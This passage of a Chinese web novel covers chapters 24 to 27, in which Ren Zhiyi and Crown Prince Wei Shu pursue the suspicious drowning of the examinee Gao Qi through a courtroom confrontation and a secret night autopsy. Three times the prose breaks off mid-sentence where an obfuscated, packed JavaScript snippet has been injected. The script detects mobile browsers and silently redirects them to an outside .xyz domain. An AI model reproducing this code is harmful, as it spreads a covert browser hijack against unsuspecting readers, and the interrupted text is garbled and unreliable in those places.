安州王与东宫素无仇怨，在科举舞弊一案上，甚至可以称得上立场一致。任知宜拧眉深思半晌，依然想不明白安州王的意图。 不过，两日之后便是大理寺堂审之日，高期之案迫在眉睫，暂时顾不得其它。 她继续以指代笔，写下景随所说上届科举之事，请太子派人查实。 “殿下。”刑部尚书席白上前行礼，“宫中内侍传信，景相请殿下回宫，商议迎接应国使臣团一事。” 卫枢一怔。 今年应国使臣到得比往年早，许是靖州流民作乱之故。 “劳烦席尚书转告景相，待李太医诊过任女史，孤自会回宫。” 席白瞥了任知宜一眼，掩下心中纳罕，“臣先告退。” 24. 对峙 “一日两敷，莫沾水。” 李太医捋着白须，面无表情地写下药方。 任知宜颔首谢过，因为不能说话，便以纸笔交谈。 “您之前说我伤在喉部，除了暂时不能说话，应该是不妨碍出门吧？” 李太医抬起眼皮，斜睨她一眼，“老夫丑话说在前头，再伤一次，可是要留疤的。” 任知宜笑笑，“李太医说笑了，只是见天朗气清，想出去呼吸几分山间空气。” 李太医复又低头写方，慢条斯理道：“少许活动，倒无不可。” “多谢李太医。” 任知宜捏着手中的信笺，莞尔笑道。 景随来信，约她上山。 在信中，他特意提到一位经验丰富的老仵作住在城郊半山。 高期一案疑点重重，众人各执一词，窥不出真相，或许问题就出在尸验上。 她暂时猜不透景随为何不遗余力地帮她，只不过，双方若能各取所需，未尝不能做同路之人。 ———— 山岚缭绕，水色空蒙。 沿石阶而上，行至半山腰处，可见一座竹屋。 竹屋外面是木栅圈出的园圃，种了两叉尺的薤菜。屋内杂乱，陈放着各种瓷瓦器具和厚薄不一的刀片。 老仵作坐于圆凳上，手上动作翻飞，片片竹篾编成方筐。 二人进屋。 老仵作看到景随，手下一顿，不耐烦道：“你怎么又来了？我都跟你说了多少次了！你兄长就是自尽！既然不信，还来找我做什么！” 景随也不恼，拱手笑道：“卓老，这次是我朋友有问题想请教。” 卓老望向任知宜。 容貌清丽，姿态纤柔，白皙的面庞现出些许因为爬山而带起的润红，一看便知，是个平日里大门不出，二门不迈的小姐。 “何事？” 任知宜歉然地指着自己的口，摆了摆手，表示口不能言，只能以笔代之。 卓老这才瞧见，她颈部以白色丝帛缠了两圈，隐隐有药液渗出。 “这是一份尸验单，请卓老过目。” 卓老拿过来粗略看了一眼，随手一丢，扔在地上，“写的什么验单！大理寺的仵作真是一茬不如一茬。” “有什么问题？” 卓老斜睨了她一眼，“你是死者的家人还是官家？” 任知宜道：“官家。” 卓老冷冷一哼，“小老儿不替官家办事。” 上山之前，景随曾经告诉过她，卓老过去是一名官府仵作，奈何性情孤傲，不懂迂回，得罪了上官，被撵回家。 后来，有些衙门碰到查不清的案子，找到他头上请教，他一概不理；若是死者的家人前来，他便答应帮忙。 “真是可惜！”任知宜面露遗憾，长长地叹了口气，“此案明日便要开堂，他的家人远在千里之外，尚不知情。看来这真相注定是要被掩盖了。” 二人转身欲走，却听后面响起声音。 “等等，先说来听听。”卓老不自在地撇撇唇。 任知宜唇角轻勾，掩下眼底笑意。 卓老生活清苦，竹屋里的东西却都与验尸有关，甚至有几样刀具用料极贵，足见他醉心仵作之术，一片赤诚。 这样的人，必然不愿意真相尘封。 卓老重新拿起验单，细细读了一遍，“不行！” “什么不行？” “这里写着“双肋之下有压痕”，是什么颜色的压痕？又是什么形状？全都没写。” 他又指着验单之中的“腹中水草少许”，冷笑两声，“写得如此模糊，如何破案？” 任知宜不解：“卓老何意？” “除非……”，卓老斜凝视着她，冷冷道：“让我亲自验尸。” 任知宜怔在当场，薄唇紧抿，目色沉静下来。 门外突然传来匆忙的脚步声，林四推门而入，“女史，贡士院的举子去了大理寺静坐。” ———— “微子兴悲，良有以也……” 公堂之上，一众举子盘膝列坐，背脊挺得笔直，俱皆口中低吟。 卫枢跨步而入，眸色幽沉凛冽。 这些人，竟敢效仿当年士子坐地悲歌！ 嘉以元年，赣南道节度使盛齐月发动叛乱，因为此前毫无预兆，判军以势如破竹之势直捣京城。 当时在松石书院读书的一位士子听闻城破，悲愤交加，写成一篇未署名的《讨贼檄》，其他士子连夜誊抄数千份，很快传诵京城。 盛齐月武将出身，心胸狭窄，行事残暴。破城之后，将四大书院的士子尽数抓到京城的明镜台。 明镜台，以史为镜，以行昭明。 原本是士子集会，高谈阔论之所，却被盛齐月设上刑架，利刃高悬。 盛齐月逼迫士子说出檄文是何人所写，何人所传。 有士子站出来大骂盛齐月乱臣贼子，天下当共诛之，结果被放在刑架之上，刀刃裂身，胸腹异处，血流满地。 一个士子，接着一个士子被送上去…… 那日天光黯淡，大雨滂沱，翻滚的雨珠落在明镜台上，分不清是雨水还是血水。 所有士子悲愤交加，盘膝列坐，齐声高唱檄文，声音传遍整个京城，如同丧钟齐鸣，苍凉而悲壮。 三百二十八名士子，全数葬送在明镜台。 如今…… 这当年的隐痛却成了他们与朝廷对抗的凭恃。 卫枢拢袖握拳，眉目凛然，“林大人，驱走所有人。” 林居正一惊，“殿下！” 卫枢神情冷冽，“孤知道，当年数百士子悲歌赴死，时至今日你们仍怀旧痛，对这些士子格外宽忍。可是，他们是未来大胤的肱骨，不是遇水即化的泥塑。” 林居正尚未答话，堂外传来声音。 “知宜拜见太子殿下，林大人。” 声音洪亮，中气十足，正是宝珠代任知宜见礼。 任知宜踏入堂中，敛起浅云色褶裙，福身行礼。 见她面色红润，神采奕奕，卫枢神色稍霁，缓缓道：“李太医说你还要静养，今日之事，无须勉强。” 任知宜颔首。 接着，着人铺好纸墨笔砚，她执笔挥写，神态自若。 宝珠高声念出，“昔日明镜台上，面对贼子，士子慨然赴死是何等气节！如今尔等却是为了仕途，求一己之私，着实令人作呕。” 举子们纷纷怒目而视，“同窗含冤而死，我们效仿先辈，何错之有？” 宝珠再念，“是求公道还是借机威胁朝廷，你们心知肚明。 “我们就是为高期求一个公道！”举子怒喊，“你所说的证据呢？ 任知宜冷冷地扫视堂前众人。 “明日即是开堂之日，你们却要提前一日发难，无非想要以舆论裹挟百姓，以文祸牵制朝廷，实在是其情可耻，其心可诛。” 有举子恼羞成怒，“废话少说。” “若是今日证明高期并非自尽，而是有人刻意挑起文祸，你们当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127503|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何？” 举子应宣第一个站出来，朗声道：“受人挑拨，不明是非。若真如此，我愿即刻返乡，自此不问科举。” 他话音一顿，“若是反之，姑娘欲如何？” 宝珠高声喊道：“我家小姐愿拿出一万两白银，送至高期家中。” 此话一出，众士子皆一怔。 应宣讥讽，“姑娘将士子之清白前程与区区黄白俗物相提并论，实在是可笑。” “高期家贫，母亲体弱多病，妻子有眼疾，还要照顾四个孩儿，我家小姐拿出一万两白银，足以让他家中安稳度日，难道不好吗？” 应宣怔了怔，未再言语。 —— 府兵带证人上堂。 赵虎跪在地上，颤声道：“三月初十酉时，高期找我送家信……” “小小信客，偷奸逐利之人，岂能相信。”许乐元大声道：“多位同窗皆可证明，高期在院中怡然亭饮酒，醉得不省人事。” “谁能证明？” 话音刚落，从地上站起来十几名举子，面带愤慨。 赵虎傻了眼，“这，这不可能啊。” 许乐元轻嗤。 宝珠问道：“林大人，我家小姐问，是否可以让我代她问举子几个问题？” 林居正瞥了一眼太子，“问吧！” 任知宜缓步走到一个蓝袍举子面前，“那一日，高期饮的是什么酒？” 蓝袍举子一怔，嗫嚅道：“……这我怎么会记得。” “我再换一个问题。”任知宜继续问，“那一日，高期穿得是长衫还是直裰？” 蓝袍举子神色微惶，急声辩驳道：“我没有撒谎，他在怡然亭饮酒，又不是只有我一人看见。” 任知宜未置可否，“那你如何清楚地记得，高期是从酉时便开始在亭中饮酒呢？” 对方犹疑之际，她步步紧逼，“你是真得记清楚了，还是因为身边之人人云亦云，被你误以为是事实？” 蓝袍举子与身旁好友相视一眼，又沉思良久，以不太确定的口吻道：“或许不是酉时，是酉时二刻或者三刻，这有何区别吗？” 任知宜轻快地笑了笑。 “若非酉时，赵虎供词便是可信的。他供称，高期那日寄出一封家信，言明定会高中，让家人安心。若真如此，他又怎么会在当夜自尽？” 应宣蹙眉问道：“信呢？” 任知宜抿唇，“证据明日自会呈上公堂。” “哼！”有举子讥讽，“今日怎么不行？无凭无据，全凭空口白牙。空话说得太多会自招报应，难怪变成一个哑巴！” “放肆！”卫枢突然厉声喝道。 如冰碎玉的声音逸出，惊地堂前众人猛然一震。 “任知宜奉孤命协查此案，此案亦是东宫之责，孤会一力承担，还轮不到你在公堂之上大放厥词。” 卫枢的维护之言，令所有人安静下来。 堂外，马蹄声传来。 唐橘翻身下马，一身红色劲衣，风尘仆仆地走进堂中。 任知宜见到她，眼神一亮。 唐橘神情肃穆，越过众人，于堂前跪下。 “大理寺捕快唐橘，行追三百里，于扈县官道截回高期所寄信笺，请大人过目。” “呈上来！” 林居正阅过，蹙着眉朝任知宜望了一眼。 一股不详的预感袭来，任知宜蓦地心头一坠。 林居正沉吟半晌，缓缓道：“举子高期的家信，乃是一封自绝书。” 25. 验尸 “儿十年寒窗，夙兴夜寐，今科二甲，喜出望外，以为终不负父母深恩，然一朝生变，终成幻影。 非儿才学不济，舞弊一案，实系党争之祸，儿受池鱼之殃，日夜苦思，恨痛至极。 …… 儿今心死志灭，生无可恋，惟愿以一死换清世朗朗，荡涤朝堂污淖；盼同窗畴儿未竟之志，济世护民。 望母妻勿念。 高期绝笔。” 自绝书被当堂念出，几个举子忽地跳起来，难抑哽咽，“高兄死得冤呢！” “今日朝廷若不给我等一个说法，我们就坐死在这里！” “十年寒窗，污名毁誉，不如学高兄一死了之。” 他们因舞弊一案被废功名，更郁结于被世人猜疑。若是再次侥幸高中倒也罢了，若是不能，这舞弊的污名怕是要伴随一生。 坊间传言，太子欲肃清解州势力，一早便知解州舞弊之行，却故意听之任之，酿出弊案。 更有传言，下月会试重考，太子已授意礼部将他们的考卷单独封存查验。高期正是因此心灰意冷，愤而自绝。 朝廷弃子，谈何功名抱负？ 举子应宣昂首站起，“敢问殿下，您刚才说，此案乃东宫之责。任女史混淆是非，高兄明明是自绝，她却说死于他人之手，颠倒黑白，该当如何？” 任知宜拧眉，欲落笔辩驳，却被卫枢一把按住手臂。 清冽之声缓缓逸出，“任女史失察，皆因出自孤授意，此为东宫之失，与她无关；孤会上禀陛下自请罪责。” 任知宜望着卫枢清隽的侧脸，微微失神。 应宣又问：“殿下是否早就有意肃清解州一派？” 满堂惊然。 四周安静地可怕，每个人都能听到自己如雷的心跳声。 心有怨怼是真，是可忍孰不可忍也是真。 但是，即便如此，也没有人敢像应宣一样，当堂质问太子。 卫枢缓步近前，声音淡静如常，“你是二甲第四名，锦州籍的应宣？” 应宣挺直脖颈，不自觉地咽了口津液，“是学生。” “孤看过你的会试文章，写得不错，尤其是对税赋之基有独到的见解。 应宣一怔，脸皮涨红，期期艾艾道：“谢，谢殿下赏赞。” “只是可惜……” 卫枢顿了一下，长眉微凝，“空有才思，行事却意气莽撞。” 他沉静的双眸扫过堂前众人，“朝廷废的是你们的贡士之名，可有废掉你们的满腹才学？朝廷不能容忍科举取士有舞弊之乱，难道诸位便能忍得天下悠悠众口！” 众举子面面相觑，若有所动。 卫枢声音清冷，若静水流深，“污名毁誉加身，切勿苟免，自证清名者方为君子。” 一语双的，既是规劝，又是回应。 应宣神情微微动容，嘴唇翕动了两下，没有说话。 卫枢道：“昔日太祖曾言，博学审问，慎思明辨。须知科举取士，事关大胤国祚，绝非儿戏。诸位当摒弃流言蜚语，专心治学，以求证道。” 众举子默然。 “孤言尽于此。”卫枢双眸泠然，“四月十五是会试重启之日，诸位好自为之。” ———— 那日大理寺举子风波之后，太子回宫，因督办高期之案不力，自领罚罪。 朝堂之中有人趁机翻出旧事，弹劾太子滥用私刑，党同伐异。 一时之间，流言甚嚣尘上。 太子言身体抱恙，陛下免其早朝，于东宫静养。 又过两日。 安王行及冠之礼，高朋满座，宾客如云。皇室宗亲、朝中重臣，到场恭贺者不知凡几。冠礼之后陛下赐开府邸，任安王为兵部郎中，参与朝事。 ———— 子时，夜色深浓。 大理寺西院的小门被人从里面打开，两人一前一后，悄悄地地猫了进去。 西院的后罩间是下等衙役和狱卒的住处，无人守卫。 穿过罩间，可见两间宽耳房，是大理寺的停尸之处，按照惯例，除去盛夏时节，尸身通常会停放在此七至十五日。 任知宜拿出提前备好的门钥，将卓老带进停尸房。 为了防止尸身腐烂，停尸房设在耳房下面的地窖中，沿暗阶而下，似有阴森鬼气徐徐冒上来。 点燃火折，眼前骤亮，现出七八具尸体，俱皆身体僵直，皮肉溃烂，伤口处渗出的脓液已然干涸。 任知宜蓦地闭上眼睛，身体僵直。 “一边儿待着！”卓老不耐烦道：“别打扰我！” 他扶起高期的头部，就着后脑轻敲两下，小心地将鼻中秽物用小木条刮出来，如此反复做了五遍，察出些端倪。 桌老问道：“他是在曲江被发现的？” “是！” 卓老微微蹙眉，手执薄刃尖刀，沿着他腹部经脉处缓缓割开。 “铛铛！” 耳房外突然传来一阵声音。 “卓老，你继续。”任知宜神色一紧，飞快道：“我出去看看。” 她隐在暗阶处，透过地上挡板的缝隙向外望去。 耳房门口站着一个狱卒，提着灯，照向房内。 任知宜心口一窒，手指攥得死紧。 狱卒探头探脑地向内觑了半晌，没发觉什么异常，转身要走。 她长舒一口气。 却见狱卒突然止了脚步，伸手去扯耳房上的挂锁。 “吱呀”一声，门应声而开。 狱卒自言自语，“天黑前落好的锁，怎么还开了？” 黑靴迈进槛内，步履变得越来越轻。 任知宜心跳如擂，轻轻吹熄掉火折，缓缓探手入怀。 怀中有提前备好的迷药粉，只要少许，便能迷晕一个成年男子。 唐橘冒险帮她，她不能害了唐橘。 脚步声一踏一踏，朝着她所在的挡板渐行渐近。 任知宜指尖触到挡板，猛地屏住呼吸。 院里突然有人喊道：“大人有令，今夜例行巡狱。” 那狱卒脚下一停，快步走了出去。 任知宜倏地松开紧闭的齿关，回到地下尸房。 卓老已验完尸，“他是被人按在水里溺死的。” 任知宜一讶。 “但是他双肋之下的压痕不是溺水时造成的，而是被人压在一种环形硬物上，因为挣扎过度而形成的伤痕。” 任知宜眯眼细看，那伤痕暗红，略带弧度，不仔细辨认根本瞧不出来。 “还有！”卓老又道，“他的死亡时辰是戌时至子时；其他的细节，我都写在里面了，你自己看吧。” 任知宜接过尸验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127504|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单，猛地抬头，满目惊色，“高期不是死在曲江？” “不完全是。”卓老收拾好东西，将两团黑绿色的东西摆在任知宜面前。 他指着其中一团，“这是他口鼻内的草，名唤菹草，常见于曲江。” “另外那团是从他腹部取出来的，两种草完全不同，我猜测他先是溺死在他处，然后又被人抛进曲江。” 任知宜神色怔忡，立在原地。 ———— 大理寺外，朦胧月色落在卫枢修长的身影上，凝成一团清冷的光晕。 送走卓老，任知宜近前，垂首低语，“臣擅作主张，请殿下责罚。” 高期一案，差点酿出文祸；她赔出一万两银子，太子受到牵连，皆因她失察误信。 贡士院举子被安抚下来之后，陛下金口一开，案子算是终了，再无人提及。 可是她不甘。 不甘这案子就此尘封，也不能任东宫就这样陷入僵势。 所以，她未得卫枢同意，擅自带卓老潜入大理寺验尸。 卫枢面色平和，轻声问道：“靖州流民作乱一事，你可知晓？” 任知宜一怔，不解太子真意，“略知一二。听闻是靖南道白坚故意拖延，不出兵卒，致使流民之乱一直蔓延至应国边境。” “靖南道索要军费，而户部却支不出钱，解州一派的背后是江南世族，郑、韩、宫三家同气连枝，以赋税相胁，此时东宫失势也是必然。” 朝局如此，非她一人之失。 卫枢将个中利害关系娓娓道来，声音温和清越。 任知宜目色清明，唇角微扬起一个小小的弧度，“听起来，殿下是在安慰我。” 卫枢长眉微动，不自在地咳了两声。 “殿下，高期是被人谋害。”任知宜将卓老的验尸单递上。 二人走着，平地卷起一阵风，树上的叶子摇摇落落。 夜凉如水，风起峭寒。 “天凉了，孤先送你回去。” 见他不回应，任知宜心中一急，拽住卫枢袖口，“东宫背此污名，于殿下名声有碍，难道殿下不希望真相重见天日？” “咳咳……”，卫枢握拳掩咳，颇有些惊讶地看着她的举动。 任知宜亦窘，慌忙收手，“臣逾矩。” 卫枢轻声道：“孤何曾说过不查。” 任知宜双眸一亮。 “根据你所说，三年前，高期落榜后与五名举子告到礼部，说会试科举有舞弊。孤查过，这之后，礼部司数位官员被调出京。” 任知宜问道：“殿下可知，与高期一起的其他五位举子是谁？” “查出两个，一位是许乐元，一位是董嗣业。” 呵！还是老相识。 “知宜。” 卫枢轻唤她，这一唤尾音悠长，含着几分温柔缱绻。 任知宜低着头，鸦青色的眼睫跟着重重地颤了几下。 “你可以继续查，但不能像今日这般冒险。圣令已下，除非高期的家人告到大理寺，否则谁都不能替他翻案。” 任知宜细细咀嚼着这句话，突然明白，刚才林大人突然巡狱，应是太子特意赶来，为她遮掩。 “臣知晓。” 四更的梆声响起，夜色微见初明。 卫枢淡淡道：“走吧！陪孤去见一个人。” 26. 交心 月色漫漫，安静的夜空里传来几道吁马之声。 城门守卫听到，大声喝道：“什么人？” 一人高喊，“快开门，叶大人回来了。” 守卫提灯照去，一人身着绛色官服，身后跟着三个随从，牵着马，自团团夜色中走来。 来人年约五十，相貌端正，双眉飞长，虽霜华染鬓，但气度绝然，周身透着威严。 守卫忙不迭告罪，“原来是叶大人回来了！” 来人正是御史大夫叶蕴之。 城门大开。 叶蕴之望着空旷的街面，仅余三星两点的灯火，很是冷清。 “城内怎地如此萧条？” 守卫一边将出入时间记录在册，一边道：“叶大人有所不知，这几日应国使臣入京，南衙卫夜夜巡逻，好些百姓都不敢上街了。” 不远处，一匹快马疾驰而来。 双人同骑，太子卫枢勒马而停，他身后坐着的是一身黑裙的任知宜。 众人跪地行礼。 卫枢一把扶起叶蕴之，双眸中星芒闪烁，“老师！” 大胤文官万千，唯独有三人名声斐然，受世人景仰。 一位是当今文臣之首，权倾朝野的当朝中书令景郦。 一位是学贯古今，受当世文人推崇的大儒，翰林院大学士范昉。 还有一位，便是御史大夫叶蕴之，他为人刚正不阿，直言善谏，两袖清风。 自卫枢开蒙之时，叶蕴之便是他的师傅，教授他诸子经史，后来连帝后都相信他已身死时，也是叶蕴之抛下官位，天南海北地寻找，才将他接回了宫。 卫枢侧身，露出一张清丽脱俗的娇颜。 “老师，这位是孤的东宫幕僚，任知宜。” 双眸一扫，叶蕴之淡淡地点了点头，“近来听说了很多关于女史的事，殿下一向知人善任，看来女史必有过人之处。” 这位叶大人面容端肃，即使是面带笑意，也是不怒自威。 落落大方地行过礼，任知宜乖觉地退后两步，不打扰他们。 卫枢道：“老师，应国此次派遣的使臣乃是应国国相伊柘……” 叶蕴之微微抬手，打断了他的话。 卫枢察觉他的视线似有若无地落在任知宜身上，淡淡笑道：“知宜在此，老师但说无妨。” 明月高照，清风入怀。 任知宜心中一动，像是琴弦被轻轻地拨了一下，细微而震颤。 她垂下眼睫，掩去一瞬间的失神。 对于卫枢的反应，叶蕴之稍感意外，但也未多说什么，“老臣明白。” 他又问，“应国使臣的事倒是不急，可是安王是怎么回事儿？ 在叶蕴之的心目中，贤妃娘娘之子，安王卫瑾，是个总是躲在兄长背后，内向腼腆的少年，他如何能与太子相提并论。 “二弟及冠之日，我问过他，他之前本是无意，不过此后却是难料。” 科举之案，如同一柄利剑，划开了掩藏在朝堂风平浪静下的裂口。 安王的母妃贤妃娘娘出身江南世族，亦是解州人。牵一发而动全身，如今解州一派同仇敌忾，对太子恨之入骨，趁机借命案文祸之机，扶安王上位。 “他们怎敢？”叶蕴之寒声啐道。 卫枢轻声道：“孤在朝中势力不够，朝堂积弊多年，恐非一朝一夕能动摇。” 叶蕴之突然停下脚步，黑夜之中双目灼灼，“有老臣在，谁也别想动摇殿下的储君之位。” 卫枢敛眉不语。 叶蕴之的声音落下来，透着沉沉的分量，“殿下是大胤储君，无论殿下想要做什么，老臣都会鼎力支持，绝无二言。” 不知不觉，三人走到叶府门前。 叶夫人站于府门前，翘首远望。 一见到他们，她忙将大氅披在叶蕴之的身上，絮絮念念道：“兆京不比江南，夜里寒气重，若犯了旧疾，可如何是好！不让你赶夜路，你还偏不听！” 叶蕴之不自在地袖了袖手，低声喝道：“殿下面前，不得无礼。” 卫枢怕打扰他们夫妻，笑道：“师母挂念老师已久，老师早点歇息吧。” ———— 街面之上，灯火阑珊。 二人并肩，牵马慢行。 更深露重，冷风窜入襟领，更添几分凉意。 尚带余温的披风落于肩上，任知宜抬起清凌凌的明眸，眼底浮起一丝惊讶。 月色之下，侧颜如山涧静水；冷光浮动，卫枢右眉下的疤痕被照得清晰可见。 夜摊上，一对身着粗麻短褐的父子对着一碗羊肉汤相互推让，谁都不愿意喝第一口，两相僵持着，直至碗中热气渐散。 卫枢怔怔地看了半晌，像是陷入了某个回忆，眼神变得飘忽不定。 “殿下！” 卫枢回过神来，走到摊前。 汤锅之中，浓浓的酸气飘溢出来。 任知宜揉揉鼻子，“这是什么味道？” “酢浆！”卫枢神色悠悠，轻声道：“这东西入口浓酸，但是配上羊肉的汤底，却是美味至极。” 任知宜笑着递上两个铜板，要了一碗。 “不尝一尝，怎知殿下说的是真的！”她浅浅地尝了一口，樱唇紧抿，露出一脸难以言说的表情。 着实酸！ 禁不住抬头咋舌，刚好撞进卫枢的笑眸之中。 “如何？”卫枢笑望着她，问道。 任知宜莞尔一笑，“酸味如绵针入刺，倒是别有风味。” “酢浆味酸，羊肉膻腥，二者皆不利口，可若和在一起，反而与众不同。若是在寒冬凛月里，喝上一碗，足以抵无边风雪。” 今夜的卫枢少了几分疏离淡漠，笑容温润舒朗。 “臣以为似殿下这般尊贵，不会喜欢吃这种市井之食！” 卫枢微蜷手指，望着街边稀疏的灯火，“孤在宫外，经常连顿饱饭都吃不上，更遑论这种奢侈的肉汤。” 任知宜目光沉然，“殿□□恤民生多艰，自是百姓福祉，可是大胤建朝百余年，有些毒瘤已经刻在骨血之中，割掉它，不止会疼，还会流血。” “古往今来，即使圣明之君，亦有诸多的求而不得，孤只求尽力一搏，换大胤二十年清明盛世。” 天将破晓，曦光渐渐挣脱层云，驱散了暗影。 刹那间，任知宜心中生出一个念头。 做这个东宫幕僚，除去她想要得到的东西，她还想要成全卫枢。 ———— 夜里回来，任知宜将尸验单收于木盒，放在妆奁的最下层。 之前在明运街看过几个铺子，任知宜挑了一个位置最好的，以宝珠的名义签下租契，准备做点小生意。 大胤鼓励行商，官员亦可经商，只是不能摆到明面上来。 原本她想借着霍思修的名声开家书坊，后来还是作罢。一来不好明抢陆三爷的生意，二来霍思修即将会试，不能分心。 她思前想后，选了香料生意。 她住的宅子在石方街，离外宫衙署较近，比较清净。 这两日却是人流如织，新任礼部尚书袁宏和新任礼部侍郎赵轲同时到任，举子们纷纷到礼部门前持帖拜会，好不热闹。 从明运街回来，她远远望去，看到几个熟悉的面孔，正是贡士院的举子。 她冷笑一声，叫来宝珠，附耳低声说了几句。 回到家中，任知宜将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127505|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买好的各种香料原料一一铺开，将沉香细锉成纷，用绢袋盛放于铫子当中。 又将昨日浸好的檀香翻炒了三遍，令其余味变淡。 香料制作需得有方子，讲求毫厘不差。任知宜曾经从灵州胡商的手中买到一张香料方子，并经他指点传授，学到其中精髓。 此香气味独特，兆京城市面上还未出现过，应该能卖得不错。 门外传来敲门声。 来人一男一女，男的是霍思修的同乡费子奇，女的穿着碎花布裙，妇人妆扮，相貌清秀，气质柔弱。 坐在任知宜和霍思修面前，费子奇搓着手掌，局促不安，身旁的女人低垂着头，也不说话。 过了半晌，费子奇磕磕绊绊地讲了原委。 他返乡途中，遇到多年未见的远房表妹云娘。云娘新寡，于夫家不容，来京城投奔远亲。 费子奇担心他一个弱女子路上不安全，就送她来京城，没料到远亲一家早已搬离，不知所踪。 他们二人无处容身，只得腆着脸来求霍思修。 “不行！”任知宜先一步开口：“我这里又不是善堂。” 费子奇求助的眼神飘向霍思修。 霍思修慌忙摆手道：“这，这我可做不了主……这些事都得听我义妹的。” 费子奇咬了咬牙，朝着任知宜深深作了一揖，“姑娘能豁出性命帮霍兄告御状，当知是深明大义之人，若不是走投无路，费某实不敢为难姑娘，哪怕先收留我们三个月也好。” “我可算不得什么大义之人。”任知宜神情微冷，“我与费举子无亲无故，实在不方便收留二位。” 费子奇窘得面皮胀红，讷讷不能言。 这时，宝珠兴冲冲地跑回来，进门就喊：“小姐，事情办妥了！” 宝珠咧着嘴笑道：“我找了几个乞儿，让他们等在礼部南门，那些贡士院的举子刚要上去拜见尚书大人，乞儿们便蜂拥而上，将他们团团围住。 这些乞儿遍身酸臭，满是疥疮，吓得那些当官的躲得远远的，那几个贡士院的举子最后只能灰溜溜地走了！哈哈哈！” 宝珠哈哈地笑了半天，才发现家中有客人，“呀！这不是费举子嘛！” 听她们乐呵呵地讲述捉弄举子的始末，费子奇咽了咽口水，朝着任知宜抱拳道：“我是个大男人，住哪儿都无所谓，可是云娘是个弱女子，身世孤苦，只盼姑娘能收留她一个月，费某感激不尽。” 那云娘生得身形单薄羸弱，举手投足温柔知礼，让人心生怜惜。 “不如，留她一月？”霍思修犹豫着开口。 任知宜冷冷地瞥了他一眼，“我这里不养闲人。” 霍思修心虚地低头，喝了一口茶，总觉得任知宜说的“闲人”就是他。 “我可以为姑娘洗衣，做饭，劈柴，烧水！”云娘突然开口，她的声音柔柔的，如同她人一样。 任知宜不以为然，“宝珠一人足矣！” 云娘咬了咬下唇，柔弱的神情带着三分倔强，“姑娘若能收留我，我什么活儿都能干。” “你为何非要留在京城？” 云娘迎视着任知宜的目光，眼神中闪着簇簇光芒，“我夫君不在了，与其回夫家受族里的人磋磨，还不如死在这里。” 任知宜默了半晌，“你可会制香？” “不会。”云娘接着急声道：“但是我可以学，以前邻里都夸我手脚伶俐，请姑娘给个机会，我用心学，一定能学会。” 任知宜考虑过，香料铺子一开，必要请些人手，京城的制香师傅不算便宜。 “香铺上工，一日做满七个时辰，包吃包住，月钱五十文。你可愿意？” 云娘喜极而泣，慌忙拜谢。 27. 离心 接连几日，时有阴风。 吹得宫檐下的铜铃摇来晃去，无所适从，只能随着风声零零作响。 十几个内侍鱼贯而入，将厚重的卷册抬入乾元殿内。 皇帝微怔，面容现出片刻凝滞。 御史大夫叶蕴之躬身道：“回禀陛下，共计一十六人的罪状，尽数在此。” 皇帝笑容微僵，“叶卿刚回京城，鞍马劳顿，该多休息几日。” 叶蕴之肃着脸，“朝中蠹虫不除，臣一日不得安枕。臣领御史台，行百官监察，自要做到上对得起圣恩，下对得起百姓。不管他是什么出身，都该依大胤律论处。” 叶蕴之当朝弹劾官员一十六人，罪状被一一列出，大到卖官鬻爵，小到放纵家奴，条条桩桩，皆有理有据。 被弹劾的官员甚至来不及反应，所有的证据已被呈到御前。 皇帝扶额，“诸卿有异议否？” 众臣皆垂眸不言。 民间称叶蕴之“叶青天”，朝里叫他“叶顽石”。 有传言，除了那些真正清廉如水的，其他官员若是不小心招惹到叶蕴之，不如趁早辞官，免得落个深陷囹圄，家破人亡的下场。 前些年，叶蕴之一心寻觅太子，后来又将心思放在教导储君上，少理国事；许是太子之事，触到了他的逆鳞。 柳德沉着脸，一言不发。 叶蕴之弹劾的十六人当中，有十人是解州籍官员。 其中意图，昭然若揭。 不过两日，景相重提旧事，奏请重建政事堂。 政事堂，形同内阁，赐五人为堂中行走，共诀国事，之后上呈陛下。 此制建于文宗年间，后被先帝取缔。 近些年来，景相任由解州一派逐渐壮大强势，没料到一场科举舞弊案，竟让朝局重新翻天。 叶蕴之附议，御史台、六部附议，满朝皆附。 ———— 颐和殿 夜里落了场雨，颐和殿内的花树繁多，到处都是被雨水打落的花叶。 小宫侍忙着低头洒扫，视线触到一双黑色高靴和衣角的四爪蟒纹，慌忙跪地。 “奴，奴才拜见太子殿下！” 卫枢淡淡道：“父皇安好？” 小宫侍将头垂得更低，结结巴巴道：“圣，圣体欠安。” 昨日，陛下下朝回来，大发雷霆，将去岁太子献上的琉璃盏摔得粉碎。 阖宫上下，胆战心惊。 卫枢抬步，径直朝殿内走去。 